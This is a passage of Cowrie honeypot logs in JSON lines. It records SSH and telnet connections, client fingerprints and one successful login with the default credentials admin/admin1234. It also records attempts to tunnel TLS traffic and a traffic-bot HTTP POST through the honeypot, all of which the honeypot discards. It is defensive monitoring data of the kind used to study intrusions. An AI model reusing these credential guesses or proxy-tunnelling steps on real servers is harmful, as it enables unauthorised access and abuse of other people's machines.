zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xae\\x82\\xb3\\x93\\x9ao\\x11\\xe2/\\x8b\\xab\\xc9<\\x0eg\\xd4\\n\\x93m\\xb9\\xaa\\xcf\\xdd\\xb0L\\x8eV\\xae\\xf8][_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:42.447183Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:42.938075Z","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:43.187397Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82u\\xcdI\\xec\"e\\x8d\\x86\\xe0e\\x82\\xa3\\xb2\\x92\\x02+{\\xca\\x8f\\xd98\\xecg\\x15\\xd88\\xa2t\\x9c~W ]I9\\xf5\\t\\x08\\x8e\\xaaP\\xfeB\\xd4Z\\x82F\\x82\\xf1\\xc6\\\\!e\\xcf\\x92\\x87\\x11;\\xac\\x87u8\\xb9\\xd0\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 yA\\x06\\xbf\\xbbd\\x8e\\x0f$0$+\\x15\\xfd\\xc5`\\x9a\\xc7\\xec$\\xbe\\xe5\\x8a\\xdd\\x10\\x0c\\x94\\x90\\xa2\\x86\\x87@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82u\\xcdI\\xec\"e\\x8d\\x86\\xe0e\\x82\\xa3\\xb2\\x92\\x02+{\\xca\\x8f\\xd98\\xecg\\x15\\xd88\\xa2t\\x9c~W ]I9\\xf5\\t\\x08\\x8e\\xaaP\\xfeB\\xd4Z\\x82F\\x82\\xf1\\xc6\\\\!e\\xcf\\x92\\x87\\x11;\\xac\\x87u8\\xb9\\xd0\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 yA\\x06\\xbf\\xbbd\\x8e\\x0f$0$+\\x15\\xfd\\xc5`\\x9a\\xc7\\xec$\\xbe\\xe5\\x8a\\xdd\\x10\\x0c\\x94\\x90\\xa2\\x86\\x87@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:43.190975Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:43.547587Z","src_ip":"123.27.168.40","session":"42d3b6ef3857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15955114364624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:44.189429Z","src_ip":"172.81.62.90","session":"93c13a37d987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":63613,"dst_ip":"10.17.0.5","dst_port":22,"session":"46746f9ec34f","protocol":"ssh","message":"New connection: 23.175.50.52:63613 (10.17.0.5:22) [session: 46746f9ec34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:51.822912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:51.829375Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:51.963997Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.548307657241821,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:52.366160Z","src_ip":"66.132.224.231","session":"8ec23f64a6bd","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:54.314348Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.766684293746948,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:54.724023Z","src_ip":"66.132.172.189","session":"e48c32d194b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.202","src_port":38622,"dst_ip":"159.203.135.109","dst_port":23,"session":"a79db481462e","protocol":"telnet","message":"New connection: 66.132.186.202:38622 (159.203.135.109:23) [session: a79db481462e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:59.862103Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.169412Z","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.176244Z","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.245785Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/19C57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S3NyNGpMZ1c3K15AZDBtaA%3D%3Ddy8unik7KMc%2ByH0maUw%2FWQgZVzrzjMHnH%2FZoLkoESHui4W0wo5Ph%2BLrWWQbMPw%2BH5JJ27OcT9iIsS%2BHxJVaD7OxcGhrEbt8wjlV9bUaqZh46PnYBZ%2BQOuu0yt9xrxgTqNZcmhgvi0aKMMkaFny7cfpLDfUPL5tWUYmaW%2BU7oZmpo0yQzCAxrv49HzuQVEpSiRqstVE3SP%2Bi318BgODKymMo0nAe9SRakyIM1wWdPu27a3n5FevbqzsFHn%2BvpEJK8aJbiG7I6K11WuP%2Be1wKNqMXGlnyPtX4NocJ590lqtO9J8%2FFKdPet1zCsDthcDaNRsxA9RaZVW04PbL%2BnWl27K7N16nXwVsf%2F6x82O72V0UmPP6yJ0OjJ3LM1lbl6eoRypHKVIbsTpT%2F4g3wYjJkrSSrOm1E9zMQzgO6EKu8kvJWORX3NtZk%2FoVIenRgtvlwArGCXcx3zpgJ%2BG1n7NjS8yceoKNV%2B8AsFIgK6Nn2kKqRed6fkji6EIlQCO2WyNgUmpFcm9ppnzeSItQJspoENtmPkx7bXDZiK%2FyM7R7N9RuO0l80jn%2BYs6h4RFU%2B3chGx9L2%2Bz1Pu1LGXanfIPIhXiaRrav94ZD5fvjxgLWM2QKAxmoOnU4q8LkOGXNV86sr7M1gASWw0%2BJDaeGnbvyp2QfhtpfRpOpXevk9eC%2BIbRUsZL1u0J%2F%2F%2BS7WtpsD0J2%2Bk0sqyOc4HHleJ9Nzk6h9VlH0NCs%2FNE6gpdEELlzAhu%2FgY054qgUtlAKTT0sicxKi0Xot9%2FtAAFDQiZq%2F9tE1xdC%2FY9quAu0YwNwKYMZdCTt46PogBC3aidQBgZhsM%2FvXAmCT32tIb9Andff26ByWosdOqtk7LPstYq1gjKdyhM3T9lEKePYmMmgu6gP10NaKj2GfaSILJDf5175KfJhnBr00bWGGuJ3qFdhJ3JgbUcoGvmKAUQdh%2FwgnV6OyUV%2BfGeANJz1ygAmkRmi6JMnTpmbPBH%2F9zdxeSMxMlCdfeEYT4NwMblkBWFCAaenduKcR8%2BKfOKrJTlMVKt8Yl3vjn8uhMTf5pP7frclcY%2BN0m%2Bmg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/19C57 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S3NyNGpMZ1c3K15AZDBtaA%3D%3Ddy8unik7KMc%2ByH0maUw%2FWQgZVzrzjMHnH%2FZoLkoESHui4W0wo5Ph%2BLrWWQbMPw%2BH5JJ27OcT9iIsS%2BHxJVaD7OxcGhrEbt8wjlV9bUaqZh46PnYBZ%2BQOuu0yt9xrxgTqNZcmhgvi0aKMMkaFny7cfpLDfUPL5tWUYmaW%2BU7oZmpo0yQzCAxrv49HzuQVEpSiRqstVE3SP%2Bi318BgODKymMo0nAe9SRakyIM1wWdPu27a3n5FevbqzsFHn%2BvpEJK8aJbiG7I6K11WuP%2Be1wKNqMXGlnyPtX4NocJ590lqtO9J8%2FFKdPet1zCsDthcDaNRsxA9RaZVW04PbL%2BnWl27K7N16nXwVsf%2F6x82O72V0UmPP6yJ0OjJ3LM1lbl6eoRypHKVIbsTpT%2F4g3wYjJkrSSrOm1E9zMQzgO6EKu8kvJWORX3NtZk%2FoVIenRgtvlwArGCXcx3zpgJ%2BG1n7NjS8yceoKNV%2B8AsFIgK6Nn2kKqRed6fkji6EIlQCO2WyNgUmpFcm9ppnzeSItQJspoENtmPkx7bXDZiK%2FyM7R7N9RuO0l80jn%2BYs6h4RFU%2B3chGx9L2%2Bz1Pu1LGXanfIPIhXiaRrav94ZD5fvjxgLWM2QKAxmoOnU4q8LkOGXNV86sr7M1gASWw0%2BJDaeGnbvyp2QfhtpfRpOpXevk9eC%2BIbRUsZL1u0J%2F%2F%2BS7WtpsD0J2%2Bk0sqyOc4HHleJ9Nzk6h9VlH0NCs%2FNE6gpdEELlzAhu%2FgY054qgUtlAKTT0sicxKi0Xot9%2FtAAFDQiZq%2F9tE1xdC%2FY9quAu0YwNwKYMZdCTt46PogBC3aidQBgZhsM%2FvXAmCT32tIb9Andff26ByWosdOqtk7LPstYq1gjKdyhM3T9lEKePYmMmgu6gP10NaKj2GfaSILJDf5175KfJhnBr00bWGGuJ3qFdhJ3JgbUcoGvmKAUQdh%2FwgnV6OyUV%2BfGeANJz1ygAmkRmi6JMnTpmbPBH%2F9zdxeSMxMlCdfeEYT4NwMblkBWFCAaenduKcR8%2BKfOKrJTlMVKt8Yl3vjn8uhMTf5pP7frclcY%2BN0m%2Bmg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.249307Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.258835Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\x0f\\xcbs\\x86\\x8a\\xb5\\x00!\\xe8}\\x08#%|\\x86\\xd2\\x8e\\xcd\\x05xl\\xfb \\x14L}\\x05\\x9cx\\xe1\\x08 \\x144\\xc1c\\x91\\xb2\\xe1%|v\\xf3_\\x82Ss-\\r\\xd2\\xc3\\x8c\\xeb\\xf0\\x00\\x06\\xf36o\\xa1AQ\\xda\\x01\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\x17R\\xe8\\x80*P\\x01\\x97\\xa0Q\\xbb\\xcf\\xe5\\xe5]\\x1bW\"\\x83Z\\r\\x95\\xb7v\\xdfO@S\\x19\\xcet\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03L\\x0f\\xcbs\\x86\\x8a\\xb5\\x00!\\xe8}\\x08#%|\\x86\\xd2\\x8e\\xcd\\x05xl\\xfb \\x14L}\\x05\\x9cx\\xe1\\x08 \\x144\\xc1c\\x91\\xb2\\xe1%|v\\xf3_\\x82Ss-\\r\\xd2\\xc3\\x8c\\xeb\\xf0\\x00\\x06\\xf36o\\xa1AQ\\xda\\x01\\x00 